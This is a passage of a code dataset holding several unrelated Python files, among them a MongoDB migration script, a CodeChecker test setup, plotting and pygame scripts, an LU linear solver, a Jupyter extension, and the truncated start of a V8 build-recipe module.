alter_code = \"\"\"\n function() {\n db[collection].updateMany({}, {\n $rename: {\n \"table_count\": \"table_cnt\"\n }\n })\n }\n \"\"\"\n SchemaCollectResult.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m061():\n class Model(db.DynamicDocument):\n meta = {'collection': 'Model'}\n\n for model in Model.objects(schema_collector__exists=True).all():\n model.schema_collector_id = model.schema_collector\n del model.schema_collector\n model.save()\n\n\n@manager.command\ndef m062():\n class SchemaCollectResult(db.DynamicDocument):\n pass\n\n alter_code = \"\"\"\n function() {\n db[collection].update({}, {$unset: {\"dtl\": 1}}, false, true);\n }\n \"\"\"\n SchemaCollectResult.objects.exec_js(alter_code)\n\n\n@manager.command\ndef m063():\n class Model(db.DynamicDocument):\n meta = {'collection': 'Model'}\n\n class Entity(db.DynamicDocument):\n meta = {'collection': 'Entity'}\n\n class Relation(db.DynamicDocument):\n meta = {'collection': 'Relation'}\n\n class SubjectArea(db.DynamicDocument):\n meta = {'collection': 'SubjectArea'}\n\n def _clean(cls, field, from_='', to=None):\n cls._get_collection().update({field: from_}, {'$set': {field: to}}, multi=True)\n\n _clean(Relation, 'createdBy')\n _clean(Entity, 'createdBy')\n _clean(Entity, 'created', {}, None)\n _clean(Entity, 'createdBy', {}, None)\n _clean(Model, 'createdBy')\n _clean(Relation, 'modifiedBy')\n _clean(Entity, 'modifiedBy')\n _clean(Model, 'modifiedBy')\n _clean(Model, 'glossaryId')\n _clean(SubjectArea, 'modifiedBy')\n _clean(SubjectArea, 'createdBy')\n\n\n@manager.command\ndef m064():\n from ercc.models import Model\n for m in Model.head_objects:\n m.relations = [rid for rid in m.relations if rid]\n m.entities = [eid for eid in m.entities if eid]\n m.fix_old_subjectareas(commit=True)\n\n\n# @manager.command\n# def m064():\n# from ercc.models import Model\n# for m in Model.head_objects:\n# m.clean_orphan_entities()\n# # m.clean_orphan_relations()\n\n\n# @manager.command\n# def m065():\n# from ercc.models import Model, SubjectArea\n# from ercc.signals import on_created_model\n# # for m in Model.head_objects:\n# # # m.cleanup()\n# # # m.clean_orphan_relations()\n# # on_created_model.send(m)\n# for sa in SubjectArea.head_objects:\n# sa.inspect_subjectarea_summary(delay=True)\n\n\nif __name__ == '__main__':\n manager.run()\n# wsgi mode\nelse:\n pass\n","sub_path":"migrate.py","file_name":"migrate.py","file_ext":"py","file_size_in_byte":26266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"642112422","text":"# coding=utf-8\n# -------------------------------------------------------------------------\n#\n# Part of the CodeChecker project, under the Apache License v2.0 with\n# LLVM Exceptions. See LICENSE for license information.\n# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n#\n# -------------------------------------------------------------------------\n\n\"\"\"Setup for the test package diff_remote.\"\"\"\n\n\nimport os\nimport shutil\nimport sys\nimport uuid\n\nfrom libtest import codechecker\nfrom libtest import env\nfrom libtest import project\n\n\n# Test workspace should be initialized in this module.\nTEST_WORKSPACE = None\n\n\ndef setup_package():\n \"\"\"Setup the environment for testing diff_remote.\"\"\"\n\n global TEST_WORKSPACE\n TEST_WORKSPACE = env.get_workspace('diff_remote')\n\n # Set the TEST_WORKSPACE used by the tests.\n os.environ['TEST_WORKSPACE'] = TEST_WORKSPACE\n\n test_config = {}\n\n test_project = 'cpp'\n\n project_info = project.get_info(test_project)\n\n # Copy the test project to the workspace. The tests should\n # work only on this test project.\n test_proj_path_base = os.path.join(TEST_WORKSPACE, \"test_proj_base\")\n shutil.copytree(project.path(test_project), test_proj_path_base)\n\n # Copy the test project to the workspace. The tests should\n # work only on this test project.\n test_proj_path_new = os.path.join(TEST_WORKSPACE, \"test_proj_new\")\n shutil.copytree(project.path(test_project), test_proj_path_new)\n\n # Copy the test project to the workspace. The tests should\n # work only on this test project.\n test_proj_path_update = os.path.join(TEST_WORKSPACE, \"test_proj_update\")\n shutil.copytree(project.path(test_project), test_proj_path_update)\n\n project_info['project_path_base'] = test_proj_path_base\n project_info['project_path_new'] = test_proj_path_new\n project_info['project_path_update'] = test_proj_path_update\n\n # Suppress file should be set here if needed by the tests.\n suppress_file = None\n\n # Skip list file should be set here if needed by the tests.\n skip_list_file = None\n\n # Get an environment which should be used by the tests.\n test_env = env.test_env(TEST_WORKSPACE)\n\n # Create a basic CodeChecker config for the tests, this should\n # be imported by the tests and they should only depend on these\n # configuration options.\n codechecker_cfg = {\n 'suppress_file': suppress_file,\n 'skip_list_file': skip_list_file,\n 'check_env': test_env,\n 'workspace': TEST_WORKSPACE,\n 'checkers': []\n }\n\n # Start or connect to the running CodeChecker server and get connection\n # details.\n print(\"This test uses a CodeChecker server... connecting...\")\n server_access = codechecker.start_or_get_server()\n server_access['viewer_product'] = 'diff_remote'\n codechecker.add_test_package_product(server_access, TEST_WORKSPACE)\n\n # Extend the checker configuration with the server access.\n codechecker_cfg.update(server_access)\n\n # Base analysis\n\n altered_file = os.path.join(test_proj_path_base, \"call_and_message.cpp\")\n project.insert_suppression(altered_file)\n codechecker_cfg['reportdir'] = os.path.join(test_proj_path_base,\n 'reports')\n codechecker_cfg['checkers'] = ['-e', 'core.CallAndMessage',\n '-d', 'core.NullDereference']\n\n ret = codechecker.log_and_analyze(codechecker_cfg, test_proj_path_base)\n if ret:\n sys.exit(1)\n\n # Store base results.\n codechecker_cfg['reportdir'] = os.path.join(test_proj_path_base,\n 'reports')\n\n test_project_name_base = project_info['name'] + '_' + uuid.uuid4().hex\n ret = codechecker.store(codechecker_cfg, test_project_name_base)\n if ret:\n sys.exit(1)\n print('Analyzing base was successful.')\n\n # New analysis\n altered_file = os.path.join(test_proj_path_new, \"call_and_message.cpp\")\n project.insert_suppression(altered_file)\n codechecker_cfg['reportdir'] = os.path.join(test_proj_path_new,\n 'reports')\n codechecker_cfg['checkers'] = ['-d', 'core.CallAndMessage',\n '-e', 'core.NullDereference']\n\n ret = codechecker.log_and_analyze(codechecker_cfg, test_proj_path_new)\n if ret:\n sys.exit(1)\n print('Analyzing new was successful.')\n\n # Store new results.\n codechecker_cfg['reportdir'] = os.path.join(test_proj_path_new,\n 'reports')\n\n test_project_name_new = project_info['name'] + '_' + uuid.uuid4().hex\n ret = codechecker.store(codechecker_cfg, test_project_name_new)\n if ret:\n sys.exit(1)\n\n # Analyze multiple times to store results with multiple tags.\n codechecker_cfg['reportdir'] = os.path.join(test_proj_path_update,\n 'reports')\n\n test_project_name_update = project_info['name'] + '_' + uuid.uuid4().hex\n codechecker_cfg['tag'] = 't1'\n codechecker_cfg['checkers'] = ['-d', 'core.CallAndMessage',\n '-e', 'core.StackAddressEscape'\n ]\n\n codechecker_cfg['reportdir'] = os.path.join(test_proj_path_update,\n 'reports')\n\n ret = codechecker.log_and_analyze(codechecker_cfg, test_proj_path_update)\n if ret:\n sys.exit(1)\n\n # Store update with t1 tag.\n ret = codechecker.store(codechecker_cfg, test_project_name_update)\n if ret:\n sys.exit(1)\n\n codechecker_cfg['tag'] = 't2'\n codechecker_cfg['checkers'] = ['-e', 'core.CallAndMessage',\n '-d', 'core.StackAddressEscape'\n ]\n ret = codechecker.analyze(codechecker_cfg, test_proj_path_update)\n if ret:\n sys.exit(1)\n\n # Store update with t2 tag.\n ret = codechecker.store(codechecker_cfg, test_project_name_update)\n if ret:\n sys.exit(1)\n\n codechecker_cfg['tag'] = 't3'\n ret = codechecker.log_and_analyze(codechecker_cfg, test_proj_path_update)\n if ret:\n sys.exit(1)\n\n # Store update with t3 tag.\n ret = codechecker.store(codechecker_cfg, test_project_name_update)\n if ret:\n sys.exit(1)\n\n # Order of the test run names matter at comparison!\n codechecker_cfg['run_names'] = [test_project_name_base,\n test_project_name_new,\n test_project_name_update]\n\n test_config['test_project'] = project_info\n test_config['codechecker_cfg'] = codechecker_cfg\n\n # Export the test configuration to the workspace.\n env.export_test_cfg(TEST_WORKSPACE, test_config)\n\n # Remove report directories which are not used anymore.\n shutil.rmtree(test_proj_path_base, ignore_errors=True)\n shutil.rmtree(test_proj_path_new, ignore_errors=True)\n\n\ndef teardown_package():\n \"\"\"Clean up after the test.\"\"\"\n\n # TODO: If environment variable is set keep the workspace\n # and print out the path.\n global TEST_WORKSPACE\n\n check_env = env.import_test_cfg(TEST_WORKSPACE)[\n 'codechecker_cfg']['check_env']\n codechecker.remove_test_package_product(TEST_WORKSPACE, check_env)\n\n print(\"Removing: \" + TEST_WORKSPACE)\n shutil.rmtree(TEST_WORKSPACE, ignore_errors=True)\n","sub_path":"web/tests/functional/diff_remote/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"398208135","text":"import numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nimport matplotlib.pyplot as plt\nfrom keras.models import load_model\nfrom pylab import mpl\n\nX = np.linspace(1, 20, 1000)\nX = X[:, np.newaxis]\ny = X + np.random.normal(0, 0.08, (1000, 1))\ny2 = np.sin(X) + np.random.normal(0, 0.08, (1000, 1))\nmin_max_scaler = MinMaxScaler((0, 1))\ny_train = min_max_scaler.fit_transform(y)\ny_train2 = min_max_scaler.fit_transform(y2)\nx_train = min_max_scaler.fit_transform(X)\n\n\ndef set_matplot_zh_font():\n mpl.rcParams['font.sans-serif'] = 'Microsoft YaHei' # 指定默认字体\n mpl.rcParams['axes.unicode_minus'] = False\n\n\ndef my_function(x, weights):\n m1 = load_model('line500.h5')\n m2 = load_model('sin800.h5')\n y_train_pred1 = m1.predict(x)\n y_train_pred2 = m2.predict(x)\n w1 = weights[0]\n w2 = weights[1]\n y_train_pred = y_train_pred1 * w1 + y_train_pred2 * w2\n plt.clf()\n plt.figure(figsize=(10, 5))\n plt.xlabel('输入因素')\n plt.ylabel('预测值')\n plt.scatter(x, y_train, label='权重%s' % w1)\n plt.scatter(x, y_train2, label='权重%s' % w2)\n plt.plot(x_train, y_train_pred, 'r-', lw=5, label='多因素权重叠加预测')\n plt.legend(loc='best')\n set_matplot_zh_font()\n plt.savefig('%s.jpg' % weights)\n # plt.show()\n\n\nmy_function(x_train, [0.5, 0.5])\nmy_function(x_train, [0.1, 0.9])\nmy_function(x_train, [0.9, 0.1])\n","sub_path":"keras/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"363655720","text":"#! /usr/bin/env python3\n\"\"\"\notwieranie strony z programu\n\"\"\"\n\nfrom selenium import webdriver\n\nbrow = webdriver.Firefox()\nprint(type(brow))\nbrow.get('http://inventwithpython.com')\n\n\n\"\"\"\nszukanie elementu zawierającego 'name'\n\"\"\"\ntry:\n # elem = brow.find_element_by_class_name('bookcover')\n elem = brow.find_element_by_class_name('card-img-top')\n print('znaleziono element <%s> wraz z taką nazwą klasy' % (elem.tag_name))\nexcept:\n print('nie udało się znaleźć elementy wraz z podaną nazwą klasy')\n\n","sub_path":"PYTHON_AUTOMATYZACJA_NUDNYCH_ZADAN/automat_11_03_selenium.py","file_name":"automat_11_03_selenium.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"45531945","text":"import pygame as pg\r\nimport os\r\nfrom settings import *\r\n\r\ngame_folder = os.path.dirname(__file__)\r\nimg_folder = os.path.join(game_folder, \"img\")\r\n\r\n\"\"\" Class for creating board tile \"\"\"\r\nclass HexTile(pg.sprite.Sprite):\r\n\tdef __init__(self, pos, coords, color):\r\n\t\tpg.sprite.Sprite.__init__(self)\r\n\t\tself.color = color\r\n\t\tself.coords = coords\r\n\t\tself.cube = self.cube_coordinates(coords)\r\n\t\tself.x,self.y,self.z = self.cube\r\n\t\tself.image = self.make_tile()\r\n\t\tself.rect = self.image.get_rect(topleft=(pos))\r\n\t\tself.pos = pos\r\n\t\tself.mask = self.make_mask()\r\n\r\n\tdef cube_coordinates(self, coords):\r\n\t\tx = coords[0] - (coords[1] + (coords[1] & 1)) // 2\r\n\t\ty = coords[1]\r\n\t\tz = -x - y\r\n\t\treturn (x, y, z)\r\n\r\n\t# NOT CURRENTLY IN USE \r\n\tdef change_color(self, color):\r\n\t\tself.color = color\r\n\t\tself.image = self.make_tile()\r\n\r\n\tdef make_tile(self):\r\n\t\tx = HSIDE\r\n\t\ty = HSIDE / 2\r\n\t\tpoints = ((x,0), (2*x,y), (2*x,y+HSIDE), \r\n\t\t\t\t (x,2*y+HSIDE), (0,y+HSIDE), (0,y))\r\n\t\timage = pg.Surface((2*x,2*y+HSIDE)).convert_alpha()\r\n\t\timage.fill(TRANSPARENT)\r\n\t\tpg.draw.polygon(image, self.color, points)\r\n\t\tpg.draw.lines(image, BLACK, 1, points, 2)\r\n\t\treturn image\r\n\r\n\tdef make_mask(self):\r\n\t\tx = HSIDE\r\n\t\ty = HSIDE / 2\r\n\t\tpoints = ((x,0), (2*x,y), (2*x,y+HSIDE), \r\n\t\t\t\t (x,2*y+HSIDE), (0,y+HSIDE), (0,y))\r\n\t\ttemp_image = pg.Surface(self.image.get_size()).convert_alpha()\r\n\t\ttemp_image.fill(TRANSPARENT)\r\n\t\tpg.draw.polygon(temp_image, RED, points)\r\n\t\treturn pg.mask.from_surface(temp_image)\r\n\r\n\tdef hex_distance(self, tile):\r\n\t\treturn max(abs(self.x-tile.x), abs(self.y-tile.y), abs(self.z-tile.z))\r\n\r\nclass CursorHighlight(pg.sprite.Sprite):\r\n\tCOLOR = (50,50,75,150)\r\n\tdef __init__(self):\r\n\t\tpg.sprite.Sprite.__init__(self)\r\n\t\tx = HSIDE\r\n\t\ty = HSIDE / 2\r\n\t\tpoints = ((x,0), (2*x,y), (2*x,y+HSIDE), \r\n\t\t\t\t (x,2*y+HSIDE), (0,y+HSIDE), (0,y))\r\n\t\tself.image = pg.Surface((2*x,2*y+HSIDE)).convert_alpha()\r\n\t\tself.image.fill(TRANSPARENT)\r\n\t\tpg.draw.polygon(self.image, self.COLOR, points)\r\n\t\tself.rect = pg.Rect((0,0,1,1))\r\n\t\tself.mask = pg.Mask((1,1))\r\n\t\tself.mask.fill()\r\n\t\tself.target = None\r\n\r\n\tdef update(self, pos, boardTiles, mouse):\r\n\t\tself.rect.topleft = pos\r\n\t\thits = pg.sprite.spritecollide(self, boardTiles, 0, pg.sprite.collide_mask)\r\n\t\tif hits:\r\n\t\t\thits = max(hits, key=lambda x: x.rect.bottom)\r\n\t\t\tif mouse:\r\n\t\t\t\tprint(hits.cube)\r\n\t\t\thits.change_color(RED)\r\n\r\n\t\t\t# print(hits.hex_distance(HexTile((0,0),(0,0),WHITE)))\r\n\t\t\t# print(hits.cube)\r\n\t\telse:\r\n\t\t\tself.target = None\r\n\r\n\tdef draw(self, surface):\r\n\t\tif self.target:\r\n\t\t\tsurface.blit(self.image, self.target)\r\n\r\nclass Player(pg.sprite.Sprite):\r\n\tdef __init__(self):\r\n\t\tpg.sprite.Sprite.__init__(self)\r\n\t\tself.image = pg.image.load(os.path.join(img_folder, \"pirateShip.png\")).convert_alpha()\r\n\t\tself.rect = self.image.get_rect()\r\n\t\tself.rect.center = (HW, HH)\r\n\t\tself.mask = pg.Mask((1,1))\r\n\t\tself.mask.fill()\r\n\t# \tself.target = None\r\n\r\n\t# def get_keys(self):\r\n\t# \tself.\r\n\r\n\tdef update(self, pos, boardTiles):\r\n\t\ttemp_loc = self.rect.topleft\r\n\t\tself.rect.topleft = pos\r\n\t\thits = pg.sprite.spritecollide(self, boardTiles, 0, pg.sprite.collide_mask)\r\n\t\tif hits:\r\n\t\t\thits = max(hits, key=lambda x: x.rect.bottom)\r\n\t\t\tself.rect.center = hits.rect.center\r\n\t\telse:\r\n\t\t\tself.rect.topleft = temp_loc\r\n\t\t\t# self.target = None\r\n\t\r\n\tdef draw(self, surface):\r\n\t\tif self.target:\r\n\t\t\tsurface.blit(self.image, self.target)","sub_path":"sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"614116462","text":"from sympy import *\r\nimport gmpy2\r\nfrom gmpy2 import mpfr\r\ndef LinearSolve(a1,n,b1,cc):\r\n TINY=mpfr(1e-20)\r\n indx=zeros(1,n)\r\n vv=zeros(1,n)\r\n d=1.0;\r\n a=[[0 for x in range(n)] for x in range(n)]\r\n b=[0 for x in range(n)]\r\n for i in range(0,n):\r\n for j in range(0,n):\r\n a[i][j]=mpfr(float(a1[i,j]))\r\n b[i]=mpfr(float(b1[i]))\r\n for i in range(0,n):\r\n big=0.0;\r\n for j in range(0,n):\r\n if a[i][j]>=0:\r\n temp=a[i][j];\r\n else:\r\n temp=-a[i][j];\r\n if temp>big:\r\n big=temp;\r\n if big==0:\r\n print(\"===========ERROR==============\")\r\n for j in range(0,n):\r\n for i in range(0,j):\r\n sum1=a[i][j];\r\n for k in range(0,i):\r\n sum1 =sum1-a[i][k]*a[k][j]\r\n a[i][j]=sum1\r\n big=0.0;\r\n for i in range(j,n):\r\n sum1=a[i][j];\r\n for k in range(0,j):\r\n sum1 =sum1- a[i][k]*a[k][j];\r\n a[i][j]=sum1;\r\n dum=vv[i]*abs(sum1);\r\n if dum>=big:\r\n big=dum;\r\n imax=i;\r\n if j!=imax:\r\n for k in range(0,n):\r\n dum=a[imax][k];\r\n a[imax][k]=a[j][k];\r\n a[j][k]=dum;\r\n d=-d;\r\n vv[imax]=vv[j];\r\n indx[j]=imax;\r\n if a[j][j]==0:\r\n a[j][j]=TINY;\r\n if j!= n-1:\r\n dum=1.0/a[j][j];\r\n for i in range(j+1,n):\r\n a[i][j]=a[i][j]*dum;\r\n for i in range(0,n):\r\n vv[i]=0.0;\r\n sum1=0.0;\r\n ii=0.0\r\n for i in range(0,n):\r\n ip=indx[i];\r\n sum1=b[ip];\r\n b[ip]=b[i];\r\n if ii!=0:\r\n for j in range(ii-1,i):\r\n sum1=sum1-a[i][j]*b[j];\r\n elif abs(sum1)>1e-18:\r\n ii=i+1;\r\n b[i]=sum1;\r\n i=n-1\r\n while(i>=0):\r\n sum1=b[i];\r\n for j in range(i+1,n):\r\n sum1 =sum1-a[i][j]*b[j];\r\n b[i]=float(sum1/a[i][i]);\r\n i=i-1\r\n replacements=[(cc[i],b[i]) for i in range(0,n)]\r\n return replacements\r\nc=symbols('c0:4')\r\nA=Matrix([[1,2,0,5],[3,2,2,-2],[2,0,0,-8],[2,6,1,8]])\r\nB=Matrix([1,1,1,-3])\r\ncc=LinearSolve(A,4,B,c)\r\nprint(cc)\r\nA=SparseMatrix([[1,2,0,5],[3,2,2,-2],[2,0,0,-8],[2,6,1,8]])\r\nB=SparseMatrix([1,1,1,-3])\r\nxy=A.solve(B,method='LDL')\r\nprint('xy=',xy.evalf())\r\nprint(A*xy-B)","sub_path":"LinearSolve.py","file_name":"LinearSolve.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"484170928","text":"from notebook.utils import url_path_join\nfrom notebook.base.handlers import IPythonHandler\n\nclass HelloWorldHandler(IPythonHandler):\n def get(self):\n self.finish('Hello, world! Jalloh Media')\n\ndef load_jupyter_server_extension(nb_app):\n '''\n Register a hello world handler.\n\n Based on https://github.com/Carreau/jupyter-book/blob/master/extensions/server_ext.py\n '''\n web_app = nb_app.web_app\n host_pattern = '.*$'\n route_pattern = url_path_join(web_app.settings['base_url'], '/hello')\n web_app.add_handlers(host_pattern, [(route_pattern, HelloWorldHandler)])\n","sub_path":"devops/vbox/vagrant_getting_started/salt/dev/jira/jira_aux/extensions/jm-jupyternb-excel-import/jm-jupyternb-excel-import/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"407434201","text":"\nattenders = []\nabsent = []\nwith open(\"attending.txt\") as f:\n for line in f:\n line = line.strip().lower()\n attenders.append(line)\nwith open(\"all.txt\") as f:\n for line in f:\n line = line.strip().lower()\n if line not in attenders:\n absent.append(line)\n f.close()\nwith open(\"absentees.txt\", \"w+\") as f:\n f.write(\"\\n\".join(absent))\n f.close()\n\n","sub_path":"old-exams/absentees/absentees.py","file_name":"absentees.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"2493028","text":"# Copyright 2013 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport argparse\nimport contextlib\nimport datetime\nimport difflib\nimport random\nimport re\nimport urllib\n\nfrom builders import iter_builders\nfrom recipe_engine.types import freeze\nfrom recipe_engine import recipe_api\nfrom . import bisection\nfrom . import builders\nfrom . import testing\n\n\nCBE_URL = 'http://chrome-build-extract.appspot.com'\nV8_URL = 'https://chromium.googlesource.com/v8/v8'\n\nCOMMIT_TEMPLATE = '%s/+/%%s' % V8_URL\n\n# Regular expressions for v8 branch names.\nRELEASE_BRANCH_RE = re.compile(r'^\\d+\\.\\d+$')\n\n# With more than 23 letters, labels are to big for buildbot's popup boxes.\nMAX_LABEL_SIZE = 23\n\n# Make sure that a step is not flooded with log lines.\nMAX_FAILURE_LOGS = 10\n\n# Factor by which the considered failure for bisection must be faster than the\n# ongoing build's total.\nBISECT_DURATION_FACTOR = 5\n\nMIPS_TOOLCHAIN = ('Codescape.GNU.Tools.Package.2015.01-7.for.MIPS.MTI.Linux'\n '.CentOS-5.x86_64.tar.gz')\nMIPS_DIR = 'mips-mti-linux-gnu/2015.01-7'\n\nTEST_RUNNER_PARSER = argparse.ArgumentParser()\nTEST_RUNNER_PARSER.add_argument('--extra-flags')\n\n\nclass V8Api(recipe_api.RecipeApi):\n BUILDERS = builders.BUILDERS\n\n # Map of GS archive names to urls.\n GS_ARCHIVES = {\n 'android_arm_rel_archive': 'gs://chromium-v8/v8-android-arm-rel',\n 'android_arm64_rel_archive': 'gs://chromium-v8/v8-android-arm64-rel',\n 'arm_rel_archive': 'gs://chromium-v8/v8-arm-rel',\n 'arm_dbg_archive': 'gs://chromium-v8/v8-arm-dbg',\n 'linux_rel_archive': 'gs://chromium-v8/v8-linux-rel',\n 'linux_dbg_archive': 'gs://chromium-v8/v8-linux-dbg',\n 'linux_nosnap_rel_archive': 'gs://chromium-v8/v8-linux-nosnap-rel',\n 'linux_nosnap_dbg_archive': 'gs://chromium-v8/v8-linux-nosnap-dbg',\n 'linux_x87_dbg_archive': 'gs://chromium-v8/v8-linux-x87-dbg',\n 'linux_swarming_staging_archive':\n 'gs://chromium-v8/v8-linux-swarming-staging',\n 'linux64_rel_archive': 'gs://chromium-v8/v8-linux64-rel',\n 'linux64_dbg_archive': 'gs://chromium-v8/v8-linux64-dbg',\n 'linux64_custom_snapshot_dbg_archive':\n 'gs://chromium-v8/v8-linux64-custom-snapshot-dbg',\n 'mips_rel_archive': 'gs://chromium-v8/v8-mips-rel',\n 'mipsel_sim_rel_archive': 'gs://chromium-v8/v8-mipsel-sim-rel',\n 'mips64el_sim_rel_archive': 'gs://chromium-v8/v8-mips64el-sim-rel',\n 'win32_rel_archive': 'gs://chromium-v8/v8-win32-rel',\n 'win32_dbg_archive': 'gs://chromium-v8/v8-win32-dbg',\n 'v8_for_dart_archive': 'gs://chromium-v8/v8-for-dart-rel',\n }\n\n def apply_bot_config(self, builders, tryserver_check=True):\n \"\"\"Entry method for using the v8 api.\n\n Requires the presence of a bot_config dict for any master/builder pair.\n This bot_config will be used to refine other api methods.\n \"\"\"\n\n mastername = self.m.properties.get('mastername')\n buildername = self.m.properties.get('buildername')\n master_dict = builders.get(mastername, {})\n self.bot_config = master_dict.get('builders', {}).get(buildername)\n assert self.bot_config, (\n 'Unrecognized builder name %r for master %r.' % (\n buildername, mastername))\n\n kwargs = self.bot_config.get('v8_config_kwargs', {})\n self.set_config('v8', optional=True, **kwargs)\n self.m.chromium.set_config('v8', **kwargs)\n self.m.gclient.set_config('v8', **kwargs)\n\n for c in self.bot_config.get('gclient_apply_config', []):\n self.m.gclient.apply_config(c)\n for c in self.bot_config.get('chromium_apply_config', []):\n self.m.chromium.apply_config(c)\n if tryserver_check and self.m.tryserver.is_tryserver:\n # TODO(machenbach): This sets the trybot flavor only for gyp. GN\n # is controlled through MB. Unfortunately also the v8 test driver\n # reads this and passes e.g. --dcheck-always-on flag. This should\n # be untangled.\n self.init_tryserver()\n for c in self.bot_config.get('v8_apply_config', []):\n self.apply_config(c)\n\n if self.bot_config.get('enable_swarming'):\n self.m.gclient.c.got_revision_reverse_mapping[\n 'got_swarming_client_revision'] = ('v8/tools/swarming_client')\n\n # FIXME(machenbach): Use a context object that stores the state for each\n # test process. Otherwise it's easy to introduce bugs with multiple test\n # processes and stale context data. E.g. during bisection these values\n # change for tests on rerun.\n\n # Default failure retry.\n self.rerun_failures_count = 2\n\n # If tests are run, this value will be set to their total duration.\n self.test_duration_sec = 0\n\n # Allow overriding the isolate hashes during bisection with the ones that\n # correspond to the build of a bisect step.\n self._isolated_tests_override = None\n\n # This is inferred from the run_mb step or from the parent bot. If mb is\n # run multiple times, it is overwritten. It contains either gyp or gn\n # properties.\n self.build_environment = self.m.properties.get(\n 'parent_build_environment', {})\n\n @property\n def isolated_tests(self):\n # During bisection, the isolated hashes will be updated with hashes that\n # correspond to the bisect step.\n # TODO(machenbach): Remove pragma as soon as rerun is implemented for\n # swarming.\n if self._isolated_tests_override is not None: # pragma: no cover\n return self._isolated_tests_override\n return self.m.isolate.isolated_tests\n\n def testing_random_seed(self):\n \"\"\"Return a random seed suitable for v8 testing.\n\n If there are isolate hashes, build a random seed based on the hashes.\n Otherwise use the system's PRNG. This uses a deterministic seed for\n recipe simulation.\n \"\"\"\n r = random.Random()\n if self.isolated_tests:\n r.seed(tuple(self.isolated_tests))\n elif self._test_data.enabled:\n r.seed(12345)\n\n seed = 0\n while not seed:\n # Avoid 0 because v8 switches off usage of random seeds when\n # passing 0 and creates a new one.\n seed = r.randint(-2147483648, 2147483647)\n return seed\n\n def init_tryserver(self):\n self.m.chromium.apply_config('trybot_flavor')\n\n def checkout(self, revision=None, **kwargs):\n # Set revision for bot_update.\n revision = revision or self.m.properties.get(\n 'parent_got_revision', self.m.properties.get('revision', 'HEAD'))\n solution = self.m.gclient.c.solutions[0]\n branch = self.m.properties.get('branch', 'master')\n needs_branch_heads = False\n if RELEASE_BRANCH_RE.match(branch):\n revision = 'refs/branch-heads/%s:%s' % (branch, revision)\n needs_branch_heads = True\n\n solution.revision = revision\n update_step = self.m.bot_update.ensure_checkout(\n no_shallow=True,\n with_branch_heads=needs_branch_heads,\n **kwargs)\n\n assert update_step.json.output['did_run']\n\n # Bot_update maintains the properties independent of the UI\n # presentation.\n self.revision = self.m.bot_update.last_returned_properties['got_revision']\n self.revision_cp = (\n self.m.bot_update.last_returned_properties['got_revision_cp'])\n self.revision_number = str(self.m.commit_position.parse_revision(\n self.revision_cp))\n\n return update_step\n\n def calculate_patch_base_rietveld(self):\n \"\"\"Calculates the latest commit hash that fits the patch.\"\"\"\n url = ('https://codereview.chromium.org/download/issue%s_%s.diff' %\n (self.m.properties['issue'], self.m.properties['patchset']))\n patch_content = self.m.url.get_text(\n url,\n step_name='Download patch',\n default_test_data='some patch',\n ).output\n return self.m.python(\n name='Calculate patch base',\n script=self.resource('calculate_patch_base.py'),\n args=[\n self.m.raw_io.input_text(patch_content),\n self.m.path['checkout'],\n self.m.raw_io.output_text(),\n ],\n step_test_data=lambda: self.m.raw_io.test_api.output_text('[fitting hsh]'),\n ).raw_io.output_text\n\n def calculate_patch_base_gerrit(self):\n \"\"\"Calculates the commit hash a gerrit patch was branched off.\"\"\"\n commits, _ = self.m.gitiles.log(\n url=V8_URL,\n ref='master..%s' % self.m.properties['patch_ref'],\n limit=100,\n step_name='Get patches',\n step_test_data=lambda: self.test_api.example_patch_range(),\n )\n # There'll be at least one commit with the patch. Maybe more for dependent\n # CLs.\n assert len(commits) >= 1\n # We don't support merges.\n assert len(commits[-1]['parents']) == 1\n return commits[-1]['parents'][0]\n\n def set_up_swarming(self):\n if self.bot_config.get('enable_swarming'):\n self.m.swarming.check_client_version()\n\n self.m.swarming.set_default_dimension('pool', 'Chrome')\n self.m.swarming.set_default_dimension('os', 'Ubuntu-14.04')\n self.m.swarming.set_default_dimension('cores', '8')\n self.m.swarming.add_default_tag('project:v8')\n self.m.swarming.default_hard_timeout = 45 * 60\n\n self.m.swarming.default_idempotent = True\n\n if self.m.properties['mastername'] == 'tryserver.v8':\n self.m.swarming.add_default_tag('purpose:pre-commit')\n requester = self.m.properties.get('requester')\n if requester == 'commit-bot@chromium.org':\n self.m.swarming.default_priority = 30\n self.m.swarming.add_default_tag('purpose:CQ')\n blamelist = self.m.properties.get('blamelist')\n if len(blamelist) == 1:\n requester = blamelist[0]\n else:\n self.m.swarming.default_priority = 28\n self.m.swarming.add_default_tag('purpose:ManualTS')\n self.m.swarming.default_user = requester\n\n patch_project = self.m.properties.get('patch_project')\n if patch_project:\n self.m.swarming.add_default_tag('patch_project:%s' % patch_project)\n else:\n if self.m.properties['mastername'] in ['client.v8', 'client.v8.ports']:\n self.m.swarming.default_priority = 25\n else:\n # This should be lower than the CQ.\n self.m.swarming.default_priority = 35\n self.m.swarming.add_default_tag('purpose:post-commit')\n self.m.swarming.add_default_tag('purpose:CI')\n\n # Overwrite defaults with per-bot settings.\n for key, value in self.bot_config.get(\n 'swarming_properties', {}).iteritems():\n setattr(self.m.swarming, key, value)\n\n def runhooks(self, **kwargs):\n if (self.m.chromium.c.compile_py.compiler and\n 